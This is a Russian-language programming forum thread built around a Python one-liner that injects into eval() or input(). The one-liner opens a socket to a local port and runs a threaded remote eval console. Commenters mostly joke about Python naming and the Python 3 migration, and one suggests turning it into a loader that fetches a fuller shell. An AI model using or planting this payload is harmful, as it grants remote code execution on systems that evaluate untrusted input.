- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.
anonimb84a2f6fd141 01.04.2013 21:38 # −1
bormand 02.04.2013 05:24 # 0
А у ___worker и ___conn аж по три __подчеркивания__... __Автор__, __видимо__, к __ним__ __неравнодушен__.
Vindicar 02.04.2013 09:51 # −1
bormand 02.04.2013 10:19 # +1
Вот в питоне очень мало вещей, которые меня действительно бесят - "тернарник" и подчеркивания на приватных переменных.
anonimb84a2f6fd141 02.04.2013 18:13 # −1
А я-то думал, это отсутствие констант, возможности объявить переменную, куча глюков в двойке, которые всем похуй, затянувшийся переход на тройку. Но нет, это подчеркивания.
Да и нечего цепляться к шеллкоду. Обычно так не пишут.
bormand 02.04.2013 18:47 # 0
Я знаю. Я про __переменные.
> отсутствие констант
> возможности объявить переменную
Ну дык ради этого питон и затевался... Если в него вводить подобные ограничения - получится вторая жаба.
> затянувшийся переход на тройку
А это да. Причем очень показательный эксперимент. Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
3.14159265 02.04.2013 18:49 # −1
С удобной стандартной либой.
>Ну дык ради этого питон и затевался.
Не пойму зачем в аналогичный по простоте js пробуют пихать то что там не нужно.
А так согласен, эти идиотские подчеркивания и меня отвращают.
anonimb84a2f6fd141 02.04.2013 20:46 # −1
Из перла не получилось? Если он и УГ, то вовсе не из-за use strict.
Есть же __slots__, почему бы не сделать аналогично для модулей?
>Я знаю. Я про __переменные.
Так многие кретины их и не используют. Вкупе с отстутствием @Override, гадай потом - какая функция используется извне, а какая - нет.
>Довольно молодой язык переходит уже столько лет... Отсюда можно сделать вывод, что любой язык старше питона, на котором уже куча наработок, через такую трансформацию или не пройдет вообще, или будет проходить еще дольше.
Это - частично следствие мегадинамичности, автоматические конверторы просто нихуя нормально не работают, по сути - обычный поиск с заменой. Даже переименование по alt+shift+r в pydev распидараживает весь код.
И вдогонку - использовать python 2 и python 3 в одной проге нельзя вообще никак. На последних двойках можно писать почти как на тройке, но грабли это не отменяет, естественно.
Vindicar 02.04.2013 23:39 # −1
anonimb84a2f6fd141 02.04.2013 18:14 # −1
Vindicar 02.04.2013 23:41 # −1
anonimb84a2f6fd141 02.04.2013 18:18 # −1
Vindicar 02.04.2013 23:43 # −1
Ну может и так прокатит.
anonimb84a2f6fd141 04.04.2013 21:32 # −1
На джвойке еще надо буферизацию для файла отключить, иначе ты будешь получать данные только после закрытия соединения.
А зачем ? Хотя, можно и так, а можно и
Vindicar 05.04.2013 09:48 # −1
guest 20.05.2014 07:18 # 0
anonimb84a2f6fd141 04.04.2013 23:36 # −1
Vindicar 05.04.2013 09:54 # −1
По хорошему-то можно обойтись и без цикла, превратив код из говношелла в bootstrap, который выкачивает настоящий шелл и выполняет отдельным потоком. Но это было бы не так весело.
anonimb84a2f6fd141 05.04.2013 17:20 # −1
С input аналогично.
А насчет "не так весело" ты, конечно, прав :)
Vindicar 06.04.2013 18:22 # −1
anonimb84a2f6fd141 06.04.2013 21:50 # −1
guest 20.05.2014 07:07 # 0
http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
guest 20.05.2014 07:23 # 0
guest 20.05.2014 14:02 # 0